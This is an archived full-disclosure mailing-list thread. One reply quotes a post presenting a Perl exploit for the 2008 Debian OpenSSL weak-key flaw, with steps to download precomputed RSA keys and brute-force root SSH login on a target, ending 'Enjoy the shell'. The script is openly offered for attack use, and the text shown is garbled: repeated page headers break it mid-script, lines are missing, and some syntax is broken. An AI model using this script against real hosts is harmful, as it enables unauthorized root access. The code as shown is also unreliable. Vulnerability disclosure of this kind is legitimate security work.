

Re: [Full-disclosure] Working exploit for Debian generated SSH Keys

Re: [Full-disclosure] Working exploit for Debian generated SSH Keys

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2008-05/msg00459.html>

- *From:* "bob harley" <bobb.harley@xxxxxxxxxx>
 - *Date:* Sun, 18 May 2008 11:13:48 -0400
-

Anyone have a copy of
rsa.2048.tar.bzip2<<http://www.deadbeef.de/rsa.2048.tar.bzip2>>?
The web server isn't playing nicely ;-)

On Thu, May 15, 2008 at 2:35 AM, Markus Müller <mm@xxxxxxxxxxxxx> wrote:

Hi full-disclosure,

the debian openssl issue leads that there are only 65.536 possible ssh keys generated, cause the only entropy is the pid of the process generating the key.

This leads to that the following perl script can be used with the precalculated ssh keys to brute force the ssh login. It works if such a key is installed on a non-patched debian or any other system manual configured to.

On an unpatched system, which doesn't need to be debian, do the following:

1. Download <http://www.deadbeef.de/rsa.2048.tar.bzip2>
2. Extract it to a directory
3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048 Bits, generated on an unpatched debian (this is the key this exploit will break)
4. Run the perl script and give it the location to where you extracted the bzip2 mentioned.

```
#!/usr/bin/perl
my $keysPerConnect = 6;
unless ($ARGV[1]) {
print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";
print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
print "By mm@xxxxxxxxxxxxx\n";
exit 0;
}
```

Re: [Full-disclosure] Working exploit for Debian generated SSH Keys

Re: [Full-disclosure] Working exploit for Debian generated SSH Keys

```
}  
chdir($ARGV[0]);  
opendir(A, $ARGV[0]) || die("opendir");  
while ($_ = readdir(A)) {  
  chomp;  
  next unless m,^\d+$.;  
  push(@a, $_);  
  if (scalar(@a) > $keysPerConnect) {  
    system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i  
    "._$_ } @a)." ".$ARGV[1]);  
    @a = ();  
  }  
}
```

5. Enjoy the shell after some minutes (less than 20 minutes)

Regards,
Markus Mueller
mm@xxxxxxxxxxxx

Full-Disclosure – We believe in it.
Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>
Hosted and sponsored by Secunia – <http://secunia.com/>

Full-Disclosure – We believe in it.
Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>
Hosted and sponsored by Secunia – <http://secunia.com/>